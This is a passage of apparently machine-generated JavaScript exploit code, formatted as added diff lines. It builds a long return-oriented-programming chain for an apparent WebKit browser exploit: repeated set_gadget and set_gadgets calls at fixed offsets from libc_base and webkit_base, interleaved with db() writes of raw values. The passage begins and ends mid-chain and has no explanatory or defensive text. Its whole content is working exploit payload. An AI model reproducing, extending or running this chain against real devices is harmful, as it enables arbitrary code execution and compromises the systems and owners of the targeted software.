+webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+534168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+534184, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+534272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+534328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([168, 0]); +set_gadget(libc_base+772328,); +db([168, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+534480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+534536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+534608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+534664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1384860946, 2458602776]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+534816, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+534904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+534920, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+535064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+535032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+535048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+535136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+535192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([176, 0]); +set_gadget(libc_base+772328,); +db([176, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+535344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+535400, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+535472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+535528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([280, 272811849]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+535680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+535768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+535784, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+535928, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+535896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+535912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+536000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+536056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([184, 0]); +set_gadget(libc_base+772328,); +db([184, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+536208, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+536264, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+536336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+536392, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 3223326714]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+536544, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+536632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+536648, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+536792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+536760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+536776, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+536864, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+536920, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([192, 0]); +set_gadget(libc_base+772328,); +db([192, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+537072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+537128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+537200, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+537256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3400, 893911041]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+537408, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+537496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+537512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+537656, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+537624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+537640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+537728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+537784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([200, 0]); +set_gadget(libc_base+772328,); +db([200, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+537936, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+537992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+538064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+538120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([65536, 1237328399]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+538272, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+538360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+538376, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+538520, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+538488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+538504, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+538592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+538648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([208, 0]); +set_gadget(libc_base+772328,); +db([208, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+538800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+538856, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+538928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+538984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([266895499, 2160459776]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+539136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+539224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+539240, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+539384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+539352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+539368, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+539456, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+539512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([216, 0]); +set_gadget(libc_base+772328,); +db([216, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+539664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+539720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+539792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+539848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3207479, 3296774123]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+540000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+540088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+540104, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+540248, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+540216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+540232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+540320, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+540376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([224, 0]); +set_gadget(libc_base+772328,); +db([224, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+540528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+540584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+540656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+540712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([10734, 3338665984]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+540864, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+540952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+540968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+541112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+541080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+541096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+541184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+541240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([232, 0]); +set_gadget(libc_base+772328,); +db([232, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+541392, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+541448, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+541520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+541576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([299136, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+541728, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+541816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+541832, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+541976, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+541944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+541960, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+542048, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+542104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([240, 0]); +set_gadget(libc_base+772328,); +db([240, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+542256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+542312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+542384, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+542440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2160543744, 1202]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+542592, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+542680, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+542696, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+542840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+542808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+542824, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+542912, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+542968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([248, 0]); +set_gadget(libc_base+772328,); +db([248, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+543120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+543176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+543248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+543304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([105961, 590774470]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+543456, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+543544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+543560, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+543704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+543672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+543688, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+543776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+543832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([256, 0]); +set_gadget(libc_base+772328,); +db([256, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+543984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+544040, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+544112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+544168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3325493277, 488847744]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+544320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+544408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+544424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+544568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+544536, +webkit_base+4687784, +libc_base+388400, 